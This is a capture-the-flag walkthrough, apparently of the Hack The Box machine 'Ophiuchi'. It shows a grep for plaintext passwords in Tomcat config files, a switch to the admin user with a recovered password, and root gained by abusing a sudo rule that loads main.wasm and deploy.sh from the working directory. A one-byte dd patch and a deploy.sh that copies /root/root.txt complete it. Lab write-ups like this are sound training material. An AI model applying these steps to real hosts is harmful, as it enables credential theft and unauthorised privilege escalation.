./CONTRIBUTING.md
./LICENSE
./README.md
./RUNNING.txt
./bin/setclasspath.sh
./bin/tool-wrapper.sh
./bin/ciphers.bat
./bin/version.sh 
./bin/ciphers.sh 
./bin/daemon.sh
./bin/digest.sh
./bin/catalina.sh
./bin/tool-wrapper.bat 
./bin/digest.bat 
./bin/setclasspath.bat 
./bin/startup.sh 
./bin/shutdown.sh
./bin/catalina.bat 
./bin/configtest.sh
./conf/server.xml
./conf/tomcat-users.xml
./conf/web.xml 
./conf/tomcat-users.xsd
./webapps/host-manager/WEB-INF/jsp/401.jsp 
./webapps/host-manager/WEB-INF/jsp/403.jsp 
./webapps/host-manager/WEB-INF/web.xml 
./webapps/host-manager/images/asf-logo.svg 
./webapps/manager/WEB-INF/jsp/sessionDetail.jsp
./webapps/manager/WEB-INF/jsp/401.jsp
./webapps/manager/WEB-INF/jsp/sessionsList.jsp 
./webapps/manager/WEB-INF/jsp/403.jsp
./webapps/manager/WEB-INF/web.xml
./webapps/manager/images/asf-logo.svg
./work/Catalina/localhost/host-manager/org/apache/jsp/WEB_002dINF/jsp/_403_jsp.java
./work/Catalina/localhost/manager/org/apache/jsp/WEB_002dINF/jsp/_401_jsp.java

They are configuration and backup files, so I searching for possible passwords or usernames. Identified the right file I look inside and...

grep --exclude="*.jar" --exclude="*.class" --color=always -ir 'user\|passw' ./*
[...]
./BUILDING.txt:        proxy.user=username
./BUILDING.txt:        proxy.password=password
[...]
./conf/tomcat-users.xml:<user username="admin" password="whythereisalimit" roles="manager-gui,admin-gui"/>
[...]
./conf/tomcat-users.xml:  <user username="tomcat" password="<must-be-changed>" roles="tomcat"/>
./conf/tomcat-users.xml:  <user username="both" password="<must-be-changed>" roles="tomcat,role1"/>
./conf/tomcat-users.xml:  <user username="role1" password="<must-be-changed>" roles="role1"/>
[...]
./webapps/host-manager/WEB-INF/jsp/401.jsp:    <tt>tomcat</tt> with a password of <tt>s3cret</tt>, add the following to the
./webapps/host-manager/WEB-INF/jsp/401.jsp:&lt;user username="tomcat" password="s3cret" roles="admin-gui"/&gt;
[...]
./webapps/host-manager/WEB-INF/jsp/403.jsp:    <tt>tomcat</tt> with a password of <tt>s3cret</tt>, add the following to the
./webapps/host-manager/WEB-INF/jsp/403.jsp:&lt;user username="tomcat" password="s3cret" roles="admin-gui"/&gt;
[...]
./webapps/manager/WEB-INF/jsp/401.jsp:    <tt>tomcat</tt> with a password of <tt>s3cret</tt>, add the following to the
./webapps/manager/WEB-INF/jsp/401.jsp:&lt;user username="tomcat" password="s3cret" roles="manager-gui"/&gt;
[...]
./webapps/manager/WEB-INF/jsp/403.jsp:    <tt>tomcat</tt> with a password of <tt>s3cret</tt>, add the following to the
./webapps/manager/WEB-INF/jsp/403.jsp:&lt;user username="tomcat" password="s3cret" roles="manager-gui"/&gt;
[...]
./work/Catalina/localhost/host-manager/org/apache/jsp/WEB_002dINF/jsp/_403_jsp.java:      out.write("    <tt>tomcat</tt> with a password of <tt>s3cret</tt>, add the following to the\n");
./work/Catalina/localhost/host-manager/org/apache/jsp/WEB_002dINF/jsp/_403_jsp.java:      out.write("&lt;user username=\"tomcat\" password=\"s3cret\" roles=\"admin-gui\"/&gt;\n");
[...]
./work/Catalina/localhost/manager/org/apache/jsp/WEB_002dINF/jsp/_401_jsp.java:      out.write("    <tt>tomcat</tt> with a password of <tt>s3cret</tt>, add the following to the\n");
./work/Catalina/localhost/manager/org/apache/jsp/WEB_002dINF/jsp/_401_jsp.java:      out.write("&lt;user username=\"tomcat\" password=\"s3cret\" roles=\"manager-gui\"/&gt;\n");
[...]

I can see two possible passwords for the user tomcat and another one for the admin user (that I found on the home folder before where is located the first flag, but I have no access to the files inside).

$ sudo -l
sudo -l
[sudo] password for tomcat: s3cret                                                                 

Sorry, try again.
[sudo] password for tomcat: 

Sorry, try again.
[sudo] password for tomcat: 

sudo: 3 incorrect password attempts
$ su admin
su admin
Password: whythereisalimit

admin@ophiuchi:/opt/tomcat$ 

And the second one seems to work!

admin@ophiuchi:~$ cat user.txt
cat user.txt
2******************************2

The first flag.

The best thing for this user is that he can connect using the ssh, so I haven't to re-exploit the next time. I try with the linpeas again, but this time I'm no to lucky. The trick is that I can do something, with the sudo command without a password.

admin@ophiuchi:~$ sudo -l
Matching Defaults entries for admin on ophiuchi:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User admin may run the following commands on ophiuchi:
    (ALL) NOPASSWD: /usr/bin/go run /opt/wasm-functions/index.go

Ok, time for development languages I don't know so good this time; a go script, let's look inside to try to understand it.

admin@ophiuchi:~$ cat /opt/wasm-functions/index.go
package main

import (
        "fmt"
        wasm "github.com/wasmerio/wasmer-go/wasmer"
        "os/exec"
        "log"
)


func main() {
        bytes, _ := wasm.ReadBytes("main.wasm")

        instance, _ := wasm.NewInstance(bytes)
        defer instance.Close()
        init := instance.Exports["info"]
        result,_ := init()
        f := result.String()
        if (f != "1") {
                fmt.Println("Not ready to deploy")
        } else {
                fmt.Println("Ready to deploy")
                out, err := exec.Command("/bin/sh", "deploy.sh").Output()
                if err != nil {
                        log.Fatal(err)
                }
                fmt.Println(string(out))
        }
}

And give a look also at the folder where the files are located.

admin@ophiuchi:~$ ls -la /opt/wasm-functions/
total 3928
drwxr-xr-x 3 root root    4096 Oct 14 19:52 .
drwxr-xr-x 5 root root    4096 Oct 14 09:56 ..
drwxr-xr-x 2 root root    4096 Oct 14 19:52 backup
-rw-r--r-- 1 root root      88 Oct 14 19:49 deploy.sh
-rwxr-xr-x 1 root root 2516736 Oct 14 19:52 index
-rw-rw-r-- 1 root root     522 Oct 14 19:48 index.go
-rwxrwxr-x 1 root root 1479371 Oct 14 19:41 main.wasm

The code seems to load from the main.wasm file a sort of variable (f) and check if it equals 1. If so it executes a script (deploy.sh) that should be deployment for some system.

admin@ophiuchi:~$ cat /opt/wasm-functions/deploy.sh
#!/bin/bash

# ToDo
# Create script to automatic deploy our new web at tomcat port 8080
admin@ophiuchi:~$ cat /opt/wasm-functions/backup/deploy.sh
#!/bin/bash

# ToDo
# Create script to automatic deploy our new web at tomcat port 8080

The script is empty, but whatever is launched has administrator rights, so it can read the root flag. Let's try to launch it.

admin@ophiuchi:~$ cd /opt/wasm-functions/
admin@ophiuchi:/opt/wasm-functions$ sudo /usr/bin/go run /opt/wasm-functions/index.go
Not ready to deploy

The variable seems to not equal to 1. Anyway, following the github URL on the project I understand about the webassembly technology, used inside this project.

wasmerio/wasmer-go
🐹🕸️ WebAssembly runtime for Go. Contribute to wasmerio/wasmer-go development by creating an account on GitHub.
WebAssembly
WASM File Extension - What is a .wasm file and how do I open it?
A WASM file contains binary code saved in the WebAssembly format that is run in web browsers, such as Google Chrome, Mozilla Firefox, Microsoft Edge, and Apple Safari. It stores a module, which is binary WebAssembly code that has been compiled from C, C++, or Rust textual code, that can be imported…

Go ahead. First of all, I have to understand if I can launch this script from another folder using different files.

admin@ophiuchi:/opt/wasm-functions$ cd ~/
admin@ophiuchi:~$ pwd
/home/admin
admin@ophiuchi:~$ sudo /usr/bin/go run /opt/wasm-functions/index.go
panic: runtime error: index out of range [0] with length 0

goroutine 1 [running]:
github.com/wasmerio/wasmer-go/wasmer.NewInstanceWithImports.func1(0x0, 0x0, 0xc000040c90, 0x5d1200, 0x200000003)
        /root/go/src/github.com/wasmerio/wasmer-go/wasmer/instance.go:94 +0x201
github.com/wasmerio/wasmer-go/wasmer.newInstanceWithImports(0xc000084020, 0xc000040d48, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0xc000040d70)
        /root/go/src/github.com/wasmerio/wasmer-go/wasmer/instance.go:137 +0x1d3
github.com/wasmerio/wasmer-go/wasmer.NewInstanceWithImports(0x0, 0x0, 0x0, 0xc000084020, 0x0, 0x0, 0x0, 0x0, 0x0, 0x4e6180, ...)
        /root/go/src/github.com/wasmerio/wasmer-go/wasmer/instance.go:87 +0xa6
github.com/wasmerio/wasmer-go/wasmer.NewInstance(0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x4e6180, 0x1)
        /root/go/src/github.com/wasmerio/wasmer-go/wasmer/instance.go:82 +0xc9
main.main()
        /opt/wasm-functions/index.go:14 +0x6d
exit status 2
admin@ophiuchi:~$ mkdir tmp
admin@ophiuchi:~$ cd tmp/
admin@ophiuchi:~/tmp$ cp /opt/wasm-functions/main.wasm ./
admin@ophiuchi:~/tmp$ sudo /usr/bin/go run /opt/wasm-functions/index.go
Not ready to deploy

And I can... good. On the link founded before about the webassembly technology, I understand that exist some useful tools to read the wasm files, like the WebAssembly Explorer, so I search for it and I found a really amazing online tool.

WebAssembly Code Explorer

I provide the file to the tool and magically I can read the content inside the file.

Now I can identify how the value "0" is retrieved from the go script and understand that it's blocked to "0".

I have to change that value to allow the script to activate to the next phase of deployment. To change a single byte inside a binary file, I chose to use a simple command.

admin@ophiuchi:~/tmp$ printf '\x01' | dd of=main.wasm bs=1 seek=110 count=1 conv=notrunc
1+0 records in
1+0 records out
1 byte copied, 7.6281e-05 s, 13.1 kB/s

I go to details the second part of the command, the arguments of the dd command (that copy data inside a memory location):

"of" is the file to patch
"bs" how many bytes at a time
"seek" move to the specified position (110 decimal = 6E hex as visible in the screenshot above)
"conv=notrunc" don't truncate the output after the edit (which dd does by default)

And when finally I launch again the command...

admin@ophiuchi:~/tmp$ sudo /usr/bin/go run /opt/wasm-functions/index.go
Ready to deploy

Well, the deploy.sh file I create is really simple and I think it doesn't need any explanation:

admin@ophiuchi:~/tmp$ cat deploy.sh 
#!/bin/bash

# ToDo
# Create script to automatic deploy our new web at tomcat port 8080
cp /root/root.txt /home/admin/tmp/
chown admin /home/admin/tmp/root.txt

Launch the script for the last time and...

admin@ophiuchi:~/tmp$ sudo /usr/bin/go run /opt/wasm-functions/index.go
Ready to deploy

admin@ophiuchi:~/tmp$ ls -la
total 2912
drwxrwxr-x 2 admin admin    4096 Mar  6 12:08 .
drwxr-xr-x 5 admin admin    4096 Mar  6 12:08 ..
-rw-r--r-- 1 admin admin     160 Mar  6 12:08 deploy.sh
-rwxrwxr-x 1 admin admin 1479371 Mar  6 12:03 main.wasm
-rwxrwxr-x 1 admin admin 1479371 Mar  6 11:50 main.wasm.copy
-r-------- 1 admin root       33 Mar  6 12:08 root.txt
admin@ophiuchi:~/tmp$ cat root.txt 
7******************************5

That's all folks... have a nice hacking!

abandoned spirals: Part II by Peter Untermaierhofer